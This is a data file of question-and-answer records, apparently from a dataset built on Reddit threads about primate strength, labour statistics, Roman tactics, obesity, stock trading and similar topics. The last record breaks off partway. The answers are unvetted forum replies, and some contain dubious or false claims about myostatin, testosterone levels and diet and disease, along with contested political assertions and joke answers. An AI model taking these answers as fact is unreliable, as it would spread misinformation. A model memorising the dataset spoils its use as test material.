{"q_id": "81y6vq", "title": "why do primates such as gorillas, baboons, and chimps (especially those in a zoo) retain so much muscle and strength doing little to no muscle building activities. yet, humans must consistently work out properly to retain muscle and strength?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/81y6vq/eli5_why_do_primates_such_as_gorillas_baboons_and/", "answers": {"a_id": ["dv61f28", "dv61f5g", "dv61u2n", "dv69jzs", "dv69lhq", "dv6gc63", "dv6hw46", "dv6l7ix", "dv6larv", "dv6mb0u", "dv6q0l4", "dv6tgrb", "dv6unwf", "dv6whrs", "dv6wtf1", "dv71kws", "dv78a9x", "dv7d56d"], "score": [25, 85, 11, 5212, 9593, 238, 8, 692, 1963, 2125, 9, 4, 80, 3, 6, 7, 7, 2], "text": ["Adaptation from evolution. Humans brains are our biggest \"muscle\" - apes and animals are purpose built essentially. Gorillas are jacked to fight off males, protect their clan, mate, etc. Kinda like how a shark is designed to eat, swim, and make more sharks", "It ultimately comes down to genetics. They're simply genetically per-programed to form and retain muscle mass through hormonal regulation, while humans tend to have their biological resources dedicated to retaining cerebral function. They have brawn, we have brains. ", "Humans in nature wouldn\u2019t have to work out. They would climb, hunt, walk, and gather. The only reason someone outside of a civilization would need to work out would be to add excess muscle that is beyond your body\u2019s ideal muscle mass for the activity and caloric intake you have. Wild animals look bulky because they climb and do all sorts of stuff that the average human in 2018 doesn\u2019t ever do. Humans have to work out in 2018 because we don\u2019t get as much exercise as we would have 5,000 years ago and food is much easier to get. You body naturally wants to eat foods that make you heavier because it\u2019s only been a few generations in most countries since hunger stopped being a problem for most people. There are still billions of people who can\u2019t meet their necessary caloric intake for the day. Your body wants to eat and store for you to survive. We haven\u2019t evolved to the point where our bodies aren\u2019t worried about food. Basically, in a typical wealthy country, you have access to food and your body wants a lot of food, but you don\u2019t have to physically work to get the food in the same way hunter/gatherers did, so you have to both be cognizant of eating correctly and making sure you work out.", "Exploiting the 'relevant follow-up questions' provision: how fuckin' jacked would a gorilla end up if it could train the way a bodybuilder could? What does peak-gorilla look like?", "Muscle density. I see a lot of comments about activity, but genetics is the main factor. If you bought a baby chimp and had him lay around the house for a few years eating chips and soda, he'd still rip your arms off if he felt like it. Zoo animals get less activity to some degree, but still rival their wild cousins because their bodies are genetically tuned to get X output from Y food. Whereas Humans get X-1 output from Y food. Mainly because our evolutionary path decided brains requiring high amounts of fat were more important than big fuck you muscles that are dense as hell and build off minimal nutritional needs.", "Extra muscle is a liability for the early hominid - it doesn't help you *that* much for the tasks that matter for your survival (having gorilla-like arms won't allow you to gather more stuff, nor trap more prey, nor catch more prey, nor even to throw missiles further), they not only require extra calories to build but also more calories every day while you have them, and they make you worse at your main survival and hunting skill i.e. endurance running, which is the key advantage you have over other animals in your natural savannah habitat. With our hunter-gatherer lifestyle (which is quite different from gorillas), two smaller hominids consuming 1500 calories a day would be far more effective at gathering food than a single hulking muscleman who needs 3000 calories a day. \n\nOur processes are appropriately tuned to facilitate a pysique like marathon runners have, not like bodybuilders, ensuring that we keep as little extra muscle as possible - i.e. grow muscle only when we can afford the luxury (getting extra food), grow muscle only where it's actually needed (exercised), and shed muscle quickly as soon as it's not needed or when the extra calories aren't needed. \n\nThe \"need to work out\" is not a universal physical or biological need; this is a factor for *us* because of how *our* bodies are built. There's no reason why an animal couldn't simply grow massive muscles without any workout whatsoever as long as enough resources are available, and gorillas do just that. Humans probably could too given a bunch of drugs  &  hormonal supplements to re-tune our muscle growth, i.e. many of the performance enhancing drugs just mimic an effect that gorilla bodies have and our bodies *could* have \"naturally\" if our DNA was evolved to make that.\n\n", "Protein synthesis. In humans, it requires an adequate and steady amount of protein to stimulate protein synthesis, muscle building. You also have to lift and workout to stimulate it. Many animals it just happens because they need it for evolutionary purposes ", "A lot of the replies are geared towards dexterity and such, but the main reason is actually endurance. We evolved as endurance hunters. That's also why we can do without sleep better than most animals.\n\nBefore we used tools, we literally hunted by stalking things until they passed out from exhaustion.\n\nBoth a little badass and a little creepy.", "Specialist vs. Generalist.\n\nMost primates are specialists. They have a specific ecological niche, and are very good in that niche, but aren't able to succeed in other niches. For example, gorillas are successful in tropical and sub-tropical rain forests; not savannas, not wetlands, not lowlands, but rain forests, and rain forests only.\n\nThis specialization means they don't have to adapt to other habitats. They get the optimal build for their niche, and that's it.\n\nHumans are adaptable generalists, and so our physiology adapts to the current stresses. Do a lot of running? Your cardiovascular system gets stronger, and you legs get stronger, but your upper body atrophies. Do a lot of couch surfing? Your body adapts to the optimal couch-surfing fat/muscle ratio, as your skeletal muscles atrophy and your belly grows. Do a lot of weight lifting? Those muscles you are stressing will grow and get stronger.\n\nThis adaptable generalist physiology allows us to adapt to a large variety of biomes. You can find us in arctic snows, desert dunes, underwater, on mountaintops, and anywhere in-between. In fact, you can *move* one of us from one location to another, and we'll adapt and survive. \n\nGorillas are strong because they specialize in an ecological niche and biome where strength is necessary for every individual to survive and compete. Humans have variable strength because it's not needed in some places we live in, and our physiology adapts to the local stresses.", "One of the factors is testosterone production. Your average male human produces anywhere between 7,5-20 mg of testosterone per week, while your average gorilla male produce around 500mg.", "There are 2 reasons why the great apes are stronger than humans of comparable muscle mass. \n\nFirst, as others here have discussed, modern human muscles are balanced more heavily toward endurance. [A recent study compared the proportion of fast twitch (high-energy powerful) muscle fibers and slow twitch (low-energy endurance) muscle fibers in humans and chimps.](_URL_2_) It found that chimps had 66% fast twitch and 34% slow twitch fibers; whereas humans have 70% slow-twitch fibers and 30% fast-twitch fibers. \n\nAnother [hypothesis (I couldn't find that there had been an actual experiment yet) has to do with muscle control.](_URL_1_) Every group of muscle fibers is controlled by a [motor unit](_URL_0_). For stronger muscles, a single motor unit will control hundreds of actual muscle fibers, but for smaller muscles, a motor unit might only control 10. But since a muscle like a bicep has 250,000 muscle fibers, there's still hundreds of motor units controlling it.\n\nWhenever your body needs to perform a task, your brain sends messages to the necessary motor units and recruits them to do the task. All the muscles controlled by the same motor unit will work together, but each motor unit will get the message at a slightly different time, so your muscle isn't all working in unison.\n\nThe hypothesis is that animals have smaller nervous systems, so each motor unit will likely control more muscle fibers, allowing them to get more strength out of their muscles, but with less control and wasting energy on tasks that don't need so much strength.", "Well, if swinging from tree to tree isnt considered muscle building activities to you, then yoy spend way too much time at the gym. ", "100% genetics. Same reason why my neighbor can feed his pit bull the lowest quality kibble possible and he\u2019s still ripped", "Zoos have a professional team of nutritionalists and \"personal trainers\" keeping the animals in peak health.  Also, most of them are only one or two generations from the wild, and in the wild the obese and slow animals are likely to be killed off. But if the current population in captivity are kept in captivity, within a few generations you will see more obesity in the zoo populations as well. ", "Myostatin. Myostatin is a hormone that (statin) stops muscle (myo) growth. Humans produce a large amount of myostatin, whereas most animals don't. Cattle can be selectively bred to have myostatin deficiency, and then produce more muscle mass relative to effort. Why? Probably for reasons such as dexterity and fine motor control. Our motor units do not all fire simultaneously, which lowers our relative strength but leads us to have more refined movements.", "Also, not sure how you define \"properly\", but humans seem to spend massively more time than necessary to build muscle. It's probably profit driven. You don't need more than a few seconds a week to lift something heavy a couple times and put it back down.\n\n_URL_0_", "Humans produce a lot of myostatin- a chemical that breaks down muscle tissue. The reason we produce so much is because it has been evolutionarily advantageous for us to run long distances. The more muscle you have, the harder your heart and lungs have to work to supply blood to keep your tissue healthy, and that build is not optimal for long distance travel. Animals like tigers, bears, and gorillas don't produce much myostatin because most of their advantage lies in their size and strength.", "Brain use much energy. We big brain. They small brain. Not have big muscle or we tried too much. Genetic weak man with big brain."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Motor_unit", "https://www.ncbi.nlm.nih.gov/pubmed/19817225", "http://www.sciencemag.org/news/2017/06/how-chimps-outmuscle-humans"], [], [], [], [], ["https://medium.com/the-mission/science-based-weight-training-360379d8272c"], [], []]}
{"q_id": "2o0gbw", "title": "Is there a physical constant relating to gravity that equals the speed of light?", "selftext": "The speed of light can be calculated with the [permittivity and permeability of free space](_URL_0_). Is there something like that for gravity?\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2o0gbw/is_there_a_physical_constant_relating_to_gravity/", "answers": {"a_id": ["cmj0boa"], "score": [3], "text": ["The constant in Einstein's equations that relates the stress-energy tensor to the left side of the equation (a complex differential geometry function of the metric) is 8pi G/c^4, about 2x10^-43 meters/Joule."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Vacuum_permeability#Significance_in_electromagnetism"], "answers_urls": [[]]}
{"q_id": "cfvpmt", "title": "what's the meaning and difference between \"workforce participation rate\" and \"unemployment rate\"?", "selftext": "I am confused about these two terms. Unemployment rate seem straightforward at first but then I came across this term called \"Workforce Participation Rate\" also called \"Laborforce Participation Rate\"        \n          \nWhich gives radically different data from what the Bureau of Labor data show on their Unemployment charts. \n         \n       \nBecause the Bureau of Labor Unemployment data has 6%, yet their Workforce Participation rate show 1/3rd of Americans don't work.         \n        \n\nCan somebody explain the difference between these terms and how they are calculated?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cfvpmt/eli5whats_the_meaning_and_difference_between/", "answers": {"a_id": ["eucut7e", "eucv3um", "eucvk4k", "eucz3gm"], "score": [22, 4, 3, 2], "text": ["Unemployment only counts people who are actively trying and failing to find a job.\n\nWorkforce participation includes people who have chosen not to work for whatever reason (they are already rich, they are a stay at home spouse, they are disabled, retired, etc.)", "So, looking into this a bit, I believe that the labor force participation rate is all of the employed people + unemployed people who are actively looking for a job divided by the working age population of the country. The unemployment rate calculates what percent of people who are actively looking for a job cannot find one.\n\n & #x200B;\n\nSay for example you have a country with 100 people of working age. 60 of these people have jobs (are employed), 10 are unemployed and looking for a job, and 30 are unemployed but are not looking for a job at all. Those 30 people do not participate in the labor force at all. This means, of the 100 people 70 of them (60 employed + 10 unemployed) are participating in the labor force. So your labor force participation rate is 70%.\n\n & #x200B;\n\nNow, because those 30 people who are not looking for a job at all, they are not counted in the unemployment rate (which only counts people who are actively looking for a job). The unemployment rate would take the population of 70 people (the 60 workers and the 10 unemployed people), and compare what percentage of them have jobs to those who don't. 10/70 = 14%\n\n & #x200B;\n\nIt's a bit of an odd system.", "Unemployment rate is roughly calculated by dividing the number of people unemployed by the number of people with jobs. (with certain groups not counted and a few other finer criteria)\n\nWorkforce participation rate is roughly calculated by dividing the number of people working by the number of labor aged people in the population. (with active duty military and those incarcerated or institutionalized excluded and a few other finer criteria)\n\nSome economists think that unemployment rate is a better metric of economic strength because it doesn't count those who voluntarily abstain from working. \n\nSome economists think labor participation rate is a better indicator of economic strength for a few reasons. One is because it reflects the number of people who lost jobs from outsourcing, automation, or other and so much trouble getting another job that they dropped out of the workforce. Another is that it unemployment rate counts, as working, those who are involuntarialy part time because they cannot get more hours or full-time work. \n\nThe best thing to with these two metrics is to evaluate them together to measure the robustness of the economy.", "thank you, I learned a lot here."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5pdkjt", "title": "what happens when a missing person, proclaimed legally dead, is discovered to be alive?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5pdkjt/eli5_what_happens_when_a_missing_person/", "answers": {"a_id": ["dcqlkp6"], "score": [2], "text": ["You'd have to petition a judge to have you considered legally alive, which is not easy since it's pretty common for scammers to take up the identities of people who went missing and were declared dead. You'd have to prove it was you. If you ever gave the government a DNA sample (like if you went to prison) this would be easy but since most people don't have irrefutable proof of their true identity for the duration they were missing. One other option is to get your DNA compared to your parents, children or siblings but this is usually very expensive. Otherwise you'd have to find some way to convince a judge that you aren't some random identity thief.\n\nIf you do get your dead status overturned you'd get your entitlements back. You would likely have to file all your back taxes and may owe a lot of money to the IRS, but you would likely be off the hook for any other debts since those are almost always discharged when the debt holder dies, unless your relatives decide to continue paying for you for whatever reason. Generally all the legal things that happened due to your being declared dead will be reverted such as child custody, marriage status, and so on. If you were found to fake your own death to get out of something you can be sued or otherwise punished for it since that is an act of fraud at the least. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4i8de0", "title": "why do some areas of concrete look dry when water is poured over it while the rest looks dry?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4i8de0/eli5_why_do_some_areas_of_concrete_look_dry_when/", "answers": {"a_id": ["d2vz0lr", "d2w8lme", "d2wa51a"], "score": [5, 10, 3], "text": ["depends on how well things get absorbed. Some areas may not be porous enough, while others may have more porosity towards the surface, so they retain water better.", "Wait, so why does all the concrete look dry? What?", "Assuming you meant some looks dry and some looks wet...\n\nThe dry-looking concrete may have a sealer on it (often used on interior or garage floors) to keep water from soaking into the concrete.  It also might have a curing compound left on it from when it was poured (especially sidewalks).  \n\nI can't imagine that you have both wet and dry concrete in a single room or a single square of sidewalk, as usually either the sealer or the curing compound, when applied, would be done to a large area of the concrete.  For the curing compound, it might be as much as they had poured in a day - the next day's pour might not have gotten the same curing treatment if weather conditions were different.\n\nOr finally, the actual mix of concrete might have admixtures to help it repel water.  But again, this would be the same mix in the entire area, and not this part is wet, this part is dry.  Perhaps if the sealer or curing compound was starting to deteriorate, you'd get portions of the concrete that looked wet and some that looked dry."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2eubme", "title": "Was switching the entire front line in a closed formation an actual roman battle tactic?", "selftext": "HBO's \"Rome\" features in it's very first battle scene (and later also in S2E06) a pretty smart looking changing mechanism to replace all the exaustet front line soliders. Neither the [Wikipedia](_URL_0_) nor  Caesar's books state anything this explicit to this topic. Could this collective drawback into one's own corps have been a real tactic? \nIf yes, where was the centurio all the time? In the series they always stand with the very first line in mid of combat but this rather seems to be a simplification for the TV audience. \nOr was the entire thing more like an individual  change of positions with the guy behind you and the centurio had nothing to do with it?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2eubme/was_switching_the_entire_front_line_in_a_closed/", "answers": {"a_id": ["ck33ynu", "ck34mzg"], "score": [3, 6], "text": ["It's referred to in many places (Caesar, Livy) but neither go into the logistics of how such a thing would work. So it's the great unknown. Now if you subscribe to the 'pause' model of combat (as expounded by scholars like Goldsworthy) then there would be periods of non-combat when the lines could be exchanged. \n\n\nAs for how it's depicted in HBO's Rome (I've just seen the opening battle you refer to), my semi-educated opinion is no, their version is too fiddly. Moving tens of thousands of men in such a cramped space quickly is (for me) hard to believe. But it's the only way to depict line relief for dramatic purposes, the 'reality' (our at least my preferred model of ancient warfare) would be unbelievable to modern audiences.", "If we only look at texts, I do not know of any sources that note this exact mechanic that was portrayed in the show. If anyone has such sources, then forget I said anything. But until then, I'm going to build my argument based on the lack of documentation for the existence of this mechanic.\n\n\n**Lack of Documentation**\n\nAll that said, the lack of documentation in itself doesn't mean anything, especially when we're talking about an individual soldier's fighting techniques. Unfortunately, up until at least the pike and shot era, we know frustratingly little of how soldiers fought. Scholars disagree on many little things, e.g. \"Do Greek Hoplites hold their spears overhand or underhand?\" \"Do soldiers literally charge into each other, or stop just short of weapon range and poke around first?\" These small things could make a big difference in how battles were actually fought, and we just don't have the documentation to back up these hypotheses, probably because writers back then expected this to be common knowledge, kind of like, in modern times, how we know that if we're in a gunfight, our instinct is to take cover instead of charge at each other.\n\nThus, it seems that the best way for us to know how soldiers fight in history is to reenact it. This is not perfect, by far, as reenactments lack the general sense of fear, exhaustion, and chaos that would be so prominent in real battles consisting of thousands of people. However, good reenactments could at least give us a clue as to how soldiers fought, and what commands and mechanics could be followed, and which could not. For we know that pike phalanxes worked very well on paper, but not always well in real life due to the unforeseen variables. We need to be aware of the Armchair General Syndrome and be cautious when treading these waters.\n\nTherefore, I would say that it is insufficient for us to make a logical conclusion based just on texts, albeit this may or may not be satisfactory with the subreddit's standards of quality. Nevertheless, I will continue with my conjecture.\n\n**Conjecture**\n\nI propose that the mechanics portrayed in the show could not be dependably performed in heated battles. The armaments of the legionary also do not support the doctrine of rigidly staying in position and not advancing, as their gladii require the wielder to advance through the range of a spear to cut the enemy. Thus, the line would not be as rigid as portrayed in Rome, and would not be capable of such drilled front-line rotations. Not to mention that combat is extremely stressful; commands are hard to hear, and men don't want to turn their exposed backs to an enemy so close. Not everyone would be able to hear the command, and the organized line switching would fall apart within the first rotation.\n\n**Thus, I do not believe that soldiers could adequately perform this maneuver.**\n\nI actually wanted to talk a lot more into how I came up with this conclusion, but I have to get off work. If people are interested, I can keep writing.\n"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Roman_infantry_tactics#Line_spacing_and_combat_stamina"], "answers_urls": [[], []]}
{"q_id": "3njxp2", "title": "a guy killed 10 people in oregon, the us loses their mind. on the same day, the us army bombed a hospital killing 20 people in afghanistan, nobody bats an eyes. why is it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3njxp2/eli5_a_guy_killed_10_people_in_oregon_the_us/", "answers": {"a_id": ["cvoqsvj", "cvoqtff", "cvoqwul", "cvoqxd7", "cvoqzfu", "cvor0b8", "cvord83", "cvorugm", "cvosqxf", "cvotu67", "cvou6nd", "cvov5wn", "cvowlg4", "cvowwxm", "cvoy7pb"], "score": [2, 90, 23, 4, 51, 6, 3, 4, 2, 23, 3, 2, 2, 2, 2], "text": ["I suspect that some Afghans cared. \n\nThat's the whole answer. And we get plenty pissed when they kill us. ", "Because people feel more strongly about things closer to home. You're more shocked by a murder on your block than a murder on the other side of the world. If your neighbour is starving you'll try to help them out, but  people starving in places like Africa don't get as much concern", "I think a lot of people 'batted an eyelid' at the news. Furthermore, the strike on the hospital was an accident. The college shooting was premeditated murder. \n\nBoth stories were horrible. ", "War is hell; s.n.a.f.u.'s like the bombing are expected. You don't expect to be killed on an average day at school; you may dread it but you don't expect it.\n", "If I shat on your doorstep that day you would have lost your mind over the shit on your doorstep and not have cared about the 10 people in Oregon. The closer something happens the more it affects people", "Because of how the media portrays these events and because people relate more to victims that are closer or more similar to them. People think Afghans dying is just \"normal\".", "Because to the American (and most western) media and a significant portion of the populace killing brown people in a poor country far away, mistake or otherwise, isn't really a big deal. We're the good guys and everyone else is bad, or weird, and probably smelly. But a crazy collage kid shooting up his campus is an unspeakable horror because, well, he looks and sounds like us and so do his victims. \n", "Because we can not accept that 'we' did it. Because we believe we are the good guys.\nWe can lose our shit about a school shooting because it confirms all of our prejudices - \"Look, evil guy did a fucked up thing, what a madman\" and we can all watch the TV coverage and be bombarded with horrific details and shout about what needs to be done, or what doesn't need to be done and have our stupid fucking opinions about it.\n\nThe US purposely bombed a hospital, they knew it was one, and they bombed it. \nWe just don't know where to start with that. All we can do is make vague apologies and half arsed investigations that no-one will care about by the time their finished.\nWe simply can not react in the same way as we do to a school shooting, because reacting in the same way would mean taking down our own government. It means revolution. It means realizing that we are the bad guys. Realizing that for all our bullshit about peace and democracy in the middle east we have mainly just bombed and destroyed and killed.\n\nWe just don't know what to do or say so we react with apathy.\n ", "Because we've as a nation become war jaded...we've been at war almost non stop since the 90s...war stuff hits us like \"oh...a thing happened...pass the juice\" . We've disengaged our collective brains.", "Okay, I read a lot of these comments.  None of them mention the fact that Afghanistan has a been a war zone for the last 14 years for the US.  That plays a huge role.  Americans are used to a certain amount of collateral damage in that country.  It's wrong, yes, but we have been involved in the conflict for so long that a lot of the US have become desensitized to problems there.\n\nAs for Oregon - it isn't a war zone.  It was a larger tragedy because it took place in an area that was viewed as safe.  If that shooting had happened in Syria then it would have been a lot less tragic to America.  If Oregon was a war zone the results would have been much less dramatic.\n\nTL;DR:  Afghanistan is a conflict zone.  Oregon is not.\n\nJust my two cents.", "[This is entirely accurate, even if it comes from Hollywood](_URL_0_)", "Simple, the USA is killing everyday for years now, everybody knows that the government and the army does not give a fuck about single life's \nNo one really likes to talk about this because we can't really do anything about it and the whole world depends on the US. \n\nIf some kid suddenly kills other kids in an area considered safe, everyone is truly shocked because they didn't see it coming! ", "Because you're comparing apples to oranges. War is war. We don't expect war in our schools, however.  So it's a bit more shocking,  no? Also, you've just engaged in the fallacy of relative privation.  Google it. Basically, it's the old \"why do people waste so much food when kids in Africa are starving?\" It's a low pleb pissing contest. Stay away from such thoughts.  ", "I am not saying I know how things should be run. BUt as a thought experiment. What if USA put their war budget on research about heart disease. It would probably save more american lives.\nI know, you can't just do that switch etc... but it makes you think...\n\n_URL_0_", "[Nobody panics when things go \"according to plan.\" Even if the plan is horrifying.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=G0AXgaFqEas"], [], [], ["http://www.cdc.gov/nchs/fastats/deaths.htm"], ["https://youtu.be/G0AXgaFqEas"]]}
{"q_id": "35hd9o", "title": "why are short answers not allowed in this sub-reddit when sometimes a short answer is the best answer?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35hd9o/eli5_why_are_short_answers_not_allowed_in_this/", "answers": {"a_id": ["cr4enal", "cr4flcp", "cr4g291", "cr4hviv"], "score": [14, 18, 2, 3], "text": ["This subreddit is for explanations. If a question can be answered with a short answer, then it's not meant to be in this sub in the first place, and should be reported to the mods and removed.", "Because if there's a short, easily understandable answer it probably doesn't need to be explained to you like you're five.", "When the best answer is a short one, that is the standard, already ELI5 answer and doesn't need to be posted here", "Short answers are not a big enough learning opportunity for five year olds. Any excuse that gets a 5 year old to read is a good thing and short answers waste this opportunity. So make your answers long winded and fill them with flowery language."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "hs5p9", "title": "Are there people who are 'naturally fat'?", "selftext": "I mean, they don't eat too much, exercise once in a while, and don't drink alcohol. But still have a pot belly, more than one chin. You know, fat. Is there a disease or disorder which causes this? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hs5p9/are_there_people_who_are_naturally_fat/", "answers": {"a_id": ["c1xwk38", "c1xwp7y", "c1xwyh4", "c1xwz7m", "c1xx6vb", "c1xx8dv", "c1xxmwc", "c1xxrdd", "c1xxtqe", "c1xxw0w", "c1xy86q"], "score": [40, 26, 14, 11, 6, 2, 4, 3, 3, 2, 3], "text": ["Sure! Genetics is thought to play a role in obesity:\n\n[_URL_1_](_URL_1_)\n\n[_URL_0_](_URL_0_)", "Hypothyroidism can also go undetected for many years and cause obesity.", "If I may add to this: Is there a common disease/ condition that can not be countered with regular exercise and a healthy diet?", "[3 days ago...](_URL_0_)", "There are different levels of susceptibility to modern non-foods like sweeteners containing fructose and vegetable oils (and IMO [wheat](_URL_1_) may play a role). In a society where almost everyone eats these, some become obese and some do not. In traditional societies where these foods aren't eaten, obesity and [heart disease](_URL_0_) are often virtually [nonexistent](_URL_2_).", "_URL_0_\n\nEven if people's metabolisms are slower (which they shouldn't be, if they are lugging round a load of extra weight) shouldn't that just mean they need to eat less food?", "I'm currently 35, 6\" , don't drink or smoke, don't eat too much (1500-2500 calories a day).  Until last year, I had moderate excercise (walked everywhere (lived in Honolulu, didn't need or want a car), had a waitstaff job so I was hustling from that), and went to the gym 4 days a week after work.  And I weighed 280, with 25-30% bodyfat.  I am pretty strong though.\n\nThis past year, I hurt my foot, So I no longer walk anywhere, and I stopped working out, and I fluctuate between 280-300 with no real increase in exercise or decrease in food consumption.  Something do with hormones I think.\n\nMy dad does have a thyroid issue, so that might be part of the problem.  \n\nI never actually felt fat before, until this last year, when I just feel kind of heavy.  Part of it is because I'm stuck inside because of my foot, But I feel slow and clumsy, and while still strong, don't feel as strong.\n\nRecently I've decided to get back into shape.  I'm eating better, starting lifting weights, and when My foot can handle it, will start running again.\n\nWhat I've noticed, is that my \"natural weight\" seems to stabilize in the 280 range.  I  maxed out at 300, and want to drop atleast 50 in the next next year.  I graduated high school at 205, and doubt that I'll ever be that small again, because I didn't stop growing until I was 21. My shoulder width grew 3\" during that time.    I have a very large frame with pretty dense bone structure.  I think for me, my ideal weight is actually 225 with 10-15% bodyfat.  Atleast, that the goal I'm shooting for.\n\nWow, that was a ramble.\n\nTLDR: I was a pretty thick guy stable at 280lbs  with moderate excercise\n", "Some ethnic groups are far more likely to be 'fat' than others. There are a lot of Inuit where I live, and you can really tell they're built for the cold. I'd say they're generally not obese, but they're broad, short, and fleshy, up to and including an 'extra' chin.", "[Gary Taubes](_URL_0_) has been promoting his theory for a few years that some people just can't handle the diet rich in grains (even whole grains) that dominates Western culture. He refers a diet similar to Atkins' for people who are heavier than they'd like despite trying common \"healthy\" diets and exercise.", "My dad actually has had basically this exact scenario happen to him his entire life. As a kid I always thought it was weird that he exercised and dieted quite a bit but never lost any weight. About a year ago, I got my answer when a leading researcher from LSU medical school came to my AP Biology class and described a lot of her (or her husbands, I can't remember exactly) work surrounding the FTO gene. As I understand it, the FTO gene increases appetite so much so that the body very rarely relies on breaking down fat within the body for energy. Where someone who does not have this gene expression can diet and exercise fat away fairly easily, it takes much much more work for those with the gene.\n\nSo in all, yes. I would have to say that there are people who are \"naturally fat.\" In the sense that they have a gene which predisposes them to overeating and difficulty losing weight. \n\nSources: _URL_0_\n_URL_1_", "I think I would rather like to know why I have such an odd body shape. I'm a guy, and I'm rather large, but a large part of my extra weight is carried in my thighs and rear, and most of the rest isn't in a pot belly, but some love handles and this weird \"extra tire\" near the bottom of my torso. It's so obnoxious, because I have to wear a different sized suit jacket and pants, plus while most of my shirts fit well around most of my body, at the bottom they can bulge out and look odd, especially if it's a button up and there's a hole showing in the middle at the bottom because of that bulge. The shirts that fit fine there look extremely baggy, so it looks like all of my shirts are too big. I wish I knew why I have this weird shape; I know it's nothing to do with my thyroid because I had blood work for that done about a year ago and it came up normal. The only thing slightly abnormal was my liver activity, which was slightly high. I was born with a little bit of jaundice, but I don't think it affects me now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Genetics_of_obesity", "http://en.wikipedia.org/wiki/Obesity#Genetics"], [], [], ["http://www.reddit.com/r/askscience/comments/hpxqz/regarding_glandular_reasons_for_obesity/"], ["http://wholehealthsource.blogspot.com/2008/06/masai-and-atherosclerosis.html", "http://rawfoodsos.com/2010/09/02/the-china-study-wheat-and-heart-disease-oh-my/", "http://wholehealthsource.blogspot.com/2011/06/food-reward-dominant-factor-in-obesity.html"], ["http://en.wikipedia.org/wiki/Conservation_of_energy"], [], [], ["http://en.wikipedia.org/wiki/Gary_Taubes"], ["http://en.wikipedia.org/wiki/FTO_gene#Association_with_obesity", "http://www.medschool.lsuhsc.edu/genetics/faculty_detail.aspx?name=gregory_paula"], []]}
{"q_id": "1k561l", "title": "why are new homes in israel continually called \"settlements\" and not \"developments?\"", "selftext": "The difference in meaning between \"Israeli settlement\" and \"housing development\" is significant. When I look at photos of \"new settlements\" they look like suburbs. It seems like calling them something different would change the way people (at least Americans) think about Israel's expansion. What if we called developments \"settlements\" in the US? Just wondering how and why this terminology came about, why it gets repeated this way, and stuff like that.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1k561l/eli5_why_are_new_homes_in_israel_continually/", "answers": {"a_id": ["cblh6ct", "cbll6ma"], "score": [3, 3], "text": ["Settlements are developments which are outside their territory.", "Because they're illegal as fuck."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9xaqmr", "title": "how do people make money trading stocks?", "selftext": "How people decide where and when to buy or sell? Where the money they make comes from? Is it gambling? Why not?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xaqmr/eli5_how_do_people_make_money_trading_stocks/", "answers": {"a_id": ["e9qqlvw", "e9qt99m", "e9qvpvu", "e9qweg3", "e9qxug8", "e9qyvcv"], "score": [34, 2, 2, 3, 2, 10], "text": ["Owning a stock is owning part of a company, if you stripped all the complicated parts out it's like a local store saying \"hey, you can buy 1% of the store to give us that money now, and in exchange we will give you 1% of the profit every year, and we will let you vote on what we do, but your vote only will count 1%\"  so if you think that 1% profit will be worth 100 dollars you would love to buy that for 99 dollars and love it even more to buy it for 50 dollars.  If you bought it for 50 dollars someone else might want to buy it for 99 dollars and you'd like that too because it's a sure thing for you.  If the store poops in all it's food and the news does a story about that then you know the profit is going to be way down and you want to sell sell sell before too many people find out and no one wants to buy your thing. Likewise if you think they are gonna sell the hot new product you'd want to buy as much as possible before the price goes up too much.\n\n & #x200B;\n\nIn real life it's gotten very complicated beyond that, and some stocks don't even give dividends anymore and exist just to trade or sell. but the general concept is \"I own a small part of this business and get a small part of their profit\" \n\n & #x200B;\n\n & #x200B;", "Going off the rails here: If you are interested in stocks but don't know where to start. Go with Passive Index Funds. Here is a chart of the S & P500 (500 largest companies in the US). The average annualized total return for the S & P 500 index over the past 90 years is 9.8 percent. That includes all financial meltdowns. If your saving horizon is long (I mean 20 years+) this is a great place to invest your monthly savings in without having to know anything at all about the stock market.", "It's usually buy low, sell high. Applies any product whose market value changes. \n\nFor example, you could buy a gallon of gas for $3 today in the hope that it will be $3.25 few days later and sell it when it does.\n\nYes for most part it's practically gambling because it's very hard to predict reliably how the share value will fluctuate. The gas could go down to 2.75", "[The best explanation of the stock market](_URL_0_) I have ever seen, written by /u/fox-mcleod", "The value of the stock fluctuates daily. If you buy a stock and sell at a higher price you make money. Most stocks also pay you a dividend for holding them.\n\nThen you can do things like write calls and puts and short. ", "It's very very simple and applies to anything, not just stocks.\n\nYou buy something at a low price and sell it at a higher price.  This is called a \"profit.\"\n\nLet's say you buy an apple in the morning, when demand is low, for 10 cents.  When lunch time rolls around, apple demand has risen, and you sell that apple for 50 cents.  You just made 40 cents in gross 